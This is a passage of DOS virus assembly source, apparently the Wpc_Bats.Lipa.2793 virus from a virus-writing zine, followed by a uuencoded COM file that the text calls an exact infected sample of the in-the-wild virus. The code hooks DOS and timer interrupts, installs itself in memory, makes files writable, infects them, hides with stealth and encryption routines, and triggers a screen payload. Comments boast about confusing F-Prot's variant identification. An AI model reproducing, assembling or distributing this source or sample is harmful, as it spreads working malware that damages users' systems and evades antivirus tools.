call RestoreDtaErrInt
call RestoreRegisters
popf
ret
Int24Handler: ; error int handler
mov al,3
iret
ShowAlaehPrompt: ; show alaeh
mov ah,2ch
call UseDos
cmp dl,24 ; hundredth second = 24
je ShowIt
ret
ShowIt:
test word ptr [Timer],1 ; further randomize
jz NoShowPrompt
DropShow:
std
mov si,offset AlaehPrompt ; and show it
mov cx,14
ShowNextChar:
lodsb
sub si,2
mov dl,al
mov ah,2
call UseDos
loop ShowNextChar
cld
mov dl,21h
call UseDos
NoShowPrompt:
ret
CommandCom db 'COMMAND.COM',0
RestoreFileAttribute:
xor ch,ch
mov cl,_dAttribute[VirusDta]
mov ax,4301h
mov dx,offset VirusAsciiz
call UseDos
ret
RestoreDtaErrInt:
mov ah,1ah
lds dx,cs:[ActiveDta] ; restore active dta
call UseDos
mov ax,2524h
lds dx,cs:[Int24] ; restore int 24
call UseDos
ret
PrepareToInfectFile:
mov bp,cs
mov ds,bp
mov ah,2fh
call UseDos ; get and save active dta
mov [DtaOffset],bx
mov [DtaSegment],es
mov ax,3524h
call UseDos ; get and save error int
mov [Int24Offset],bx
mov [Int24Segment],es
mov es,bp
mov ax,2524h ; hook int 24
mov dx,offset Int24Handler
call UseDos
mov ah,1ah
mov dx,offset VirusDta
call UseDos ; set virus dta
mov ax,2e00h
xor dl,dl
call UseDos ; turn off verify
mov dx,offset VirusAsciiz
mov ah,4eh
mov cx,23h
call UseDos ; find file, need it for file data
jc FileNotFound
mov ax,4301h
mov cx,20h
call UseDos ; make file writable
FileNotFound:
ret
InfectionCheck:
mov al,2
call MovePointerZeroLoHi ; move ptr to eof
jc ErrorOnInfectCheck
mov word ptr _dLoLen[VirusDta],ax ; and save it
mov word ptr _dHiLen[VirusDta],dx
sub ax,(VirLen-(offset SavedHost - offset Relocator))
sbb dx,0
mov cx,dx
mov dx,ax
xor al,al
call MovePointer ; set ptr to sig
jc ErrorOnInfectCheck
mov cx,79
mov dx,offset StealthBuffer
mov ah,3fh ; read from file
call UseDos
jc ErrorOnInfectCheck
mov [InfectedFlag],0
;<-------------------------------------- there should be a NOP here
call LookForVirusSig
jc FoundSig ; sig not found
mov [InfectedFlag],1
;<-------------------------------------- there should be a NOP here
sub si,24
SaveHostFileData:
mov di,offset SavedHost ; copy to save data that file's
mov cx,24 ; saved data
repe movsb
call MaskSavedHostData
FoundSig:
clc
ErrorOnInfectCheck:
ret
LookForVirusSig:
mov si,offset StealthBuffer
mov al,100 ; to look also for other variants?
LookForSig:
inc si
push si
mov di,offset ShowAndTrashDisk
mov cx,9
repe cmpsw ; check for sig
pop si
je FoundSig
dec al
jnz LookForSig
stc
ret
WriteVirus:
mov cx,0 ; adjusted by virus
VirLenToWrite equ word ptr $-2
mov dx,offset Relocator
mov ah,40h
MaskInt21HandlerBegin:
call MaskInt21Handler
call UseDos
jc ErrorOnWrite
cmp ax,cx
ErrorOnWrite:
call MaskInt21Handler
ret
MovePointerStart: ; multiple entry move ptr routine
xor al,al
MovePointerZeroLoHi:
xor dx,dx
MovePointerZeroHi:
xor cx,cx
MovePointer:
mov ah,42h
UseDos:
pushf
cli
db 9ah ; saved int 21
Int21 label dword
Int21Offset dw ?
Int21Segment dw ?
ret
ShowAlaEh:
call SaveRegisters
mov ah,0fh ; get video mode
int 10h
cmp al,8 ; are we in text mode
jb isInTextMode
jmp NoShow
isInTextMode:
mov ax,cs
mov ds,ax
mov es,ax
GetNextLoc:
mov ah,2 ; read time
int 1ah
xor dl,dl
mov bx,dx ; save seconds
call Randomize
xor dx,dx
mov cx,9
div cx
cmp dl,1 ; this sets up where the snake is
jne Random2
inc [AlaEhColumn]
cmp [AlaEhColumn],79
jb Random2
mov [AlaEhColumn],79
Random2:
cmp dl,2
jne Random3
dec [AlaEhColumn]
cmp [AlaEhColumn],0
jg Random3
mov [AlaEhColumn],0
Random3:
cmp dl,3
jne Random4
inc [AlaEhRow]
cmp [AlaEhRow],24
jb Random4
mov [AlaEhRow],24
Random4:
cmp dl,4
jne Random5
dec [AlaEhRow]
cmp [AlaEhRow],0
jg Random5
mov [AlaEhRow],0
Random5:
cmp dl,5
jne Random6
inc [AlaEhColumn]
inc [AlaEhRow]
Random6:
cmp dl,6
jne Random7
dec [AlaEhColumn]
dec [AlaEhRow]
Random7:
cmp dl,7
jne Random8
dec [AlaEhRow]
inc [AlaEhColumn]
Random8:
cmp dl,8
jne IsKeyF1
inc [AlaEhRow]
dec [AlaEhColumn]
IsKeyF1:
in al,60h
cmp al,3bh ; F1 stops show
jne StartShow
NoShow:
call RestoreRegisters
ret
StartShow: ; this does the show
mov di,offset AlaEhTempo
mov si,offset AlaEhText
mov word ptr [ReturnPoint],14
DoNextChar:
lodsw
stosw
mov dx,ax
mov bx,0
mov ah,2 ; move cursor
int 10h
lodsb
inc di
mov ah,9 ; show char
mov bl,0eh
mov cx,1
int 10h
dec word ptr [ReturnPoint]
jnz DoNextChar
mov word ptr [ReturnPoint],20
DoDelay:
mov cx,-1
loop $
dec word ptr [ReturnPoint]
jnz DoDelay
jmp GetNextLoc
Randomize: ; randomizes location of display
mov cx,0
mov dx,15ah
mov ax,4e35h
xchg si,ax
xchg dx,ax
test ax,ax
jz isZero
mul bx
isZero:
jcxz NoGetZero
xchg cx,ax
mul si
add ax,cx
NoGetZero:
xchg si,ax
mul bx
add bx,si
add ax,1
adc dx,0
mov ax,dx
cwd
and ax,7fffh
ret
Int1cHandler:
pushf
sti
dec word ptr cs:[Timer] ; update counter
jnz PassToOldInt1c
mov word ptr cs:[Timer],-16 ; if 1 hour passed, reset to 1 hour
push ax
push es
mov ax,40h
mov es,ax
test word ptr es:[TimerTick],1 ; and randomize
pop es
pop ax
jnz PassToOldInt1c
call ShowAlaEh ; show snake routine
PassToOldInt1c:
popf
db 0eah
Int1cOffset dw 0ff53h ; <<<< F-Prot expects that the values for these
Int1cSegment dw 0f000h ; <<<< points to bios for its exact id.
;
; if the old int 1Ch handler is not F000:FF53, F-Prot 3.03 would detect the
; virus as "WPC_Bats.2793.unknown?". if another program hooked INT 1Ch
; before the virus did, all replications of the virus on that day would be
; identified as unknown. the virus does not tunnel int 1Ch only those with
; F000:FF53 are identified as "WPC_Bats.2793 (exact)".
;
; What a great way to determine variants..... :( FindVirus is also into
; this far pointer thingy to determine variants.
;
CommandComFlag db ?
;
; F-Prot expects that InfectedFlag has 1 before it gives you an exact ID
;
InfectedFlag db 1
Alignment db 15 dup (?)
ReturnPoint dw ?
Keypress db ?
Int24 label dword
Int24Offset dw ?
Int24Segment dw ?
ActiveDta label dword
DtaOffset dw ?
DtaSegment dw ?
Timer dw ?
VirusDta db 45 dup (?)
VirusAsciiz db 65 dup (?)
ComJumpByte equ byte ptr $
ComJumpDisp equ word ptr $+1
ReadBuffer dw 12 dup (?)
db ? ; unused
HandleTable equ $
rept 5
dw -1 ; saved handle
db AsciizLen dup (?) ; saved asciiz
endm
db 5 dup (?) ; dont know whats this for
StealthBuffer db 79 dup (?)
StackFrame db 257 dup (?)
WpcStackPt equ $
align 16
Dropper: ; to avoid any complication, ive setup
cld ; a new dropper. this dropper would
xor ax,ax ; install the virus as low mem tsr.
mov es,ax ; let us leave the dirty work of topmem
les di,dword ptr es:[Ivt7f] ; load to the virus in succeeding gens
mov si,offset Int21Handler ; unless you make changes, you will get
mov cx,5 ; an exact copy of the virus, except if
repe cmpsw ; frisk and drsolomon gets another of
push cs ; their bright ideas on virus detection
pop es
jne Drop1
mov ah,9
mov dx,offset newline
int 21h
call DropShow
mov ah,9
mov dx,offset newline
int 21h
mov ax,4cffh
int 21h
newline db 7,13,10,'$'
align 2
Drop1:
mov [VirusRelocOffset],offset DecryptEntryCode
mov si,offset EntryCodeMaskBegin
std
Drop2:
mov bx,offset EntryCodeMaskEnd
Drop3:
cmp bx,offset EntryCodeMaskKeyEnd
je Drop2
dec bx
lodsb
xor al,[bx]
mov [si+1],al
cmp si,offset EntryCodeMaskEnd
jne Drop3
call MaskInt21Handler
cld
mov word ptr [Timer],-16
mov [Keypress],2
mov ax,351ch
int 21h
mov [Int1cOffset],bx
mov [Int1cSegment],es
mov ax,3521h
int 21h
mov [Int21Offset],bx
mov [Int21Segment],es
mov ax,251ch
mov dx,offset Int1cHandler
int 21h
mov dx,offset Int21Handler
xor ax,ax
mov es,ax
mov word ptr es:[Ivt7f],dx
mov word ptr es:[Ivt7f][2],cs
push cs
pop es
mov ax,2521h
int 21h
mov ah,9
mov dx,offset newline
int 21h
mov ax,3100h
mov dx,MemRequired+16
int 21h
WpcBatsLipa2793 ends
end Relocator
ÄÄ WPCL2793.ASM ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The uuencoded file below is infected by a virus created by compiling
the source code above in TASM 2.01. The virus in this file is on the
third generation. The codes of the virus in this file is guaranteed
to be an exact byte-for-byte match of the virus found in the wild.
However, AVs use uninitialized data to determine variations from the
original virus. The values of these far pointers are beyond my
control. If AVs detect this file as having a somewhat different virus
or a not exact identification, then that AV uses uninitialized dat as
determinant for variants.
ÄÄ WPCL2793.UUE STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
begin 644 wpcl2793.com
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
C!O0+\/]0!KA``([`)O<&;``!``=8=0/HO?Z=ZE/_`/```0``
`
end
ÄÄ WPCA2793.UUE ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
-=<{[* HF4 *]}>=-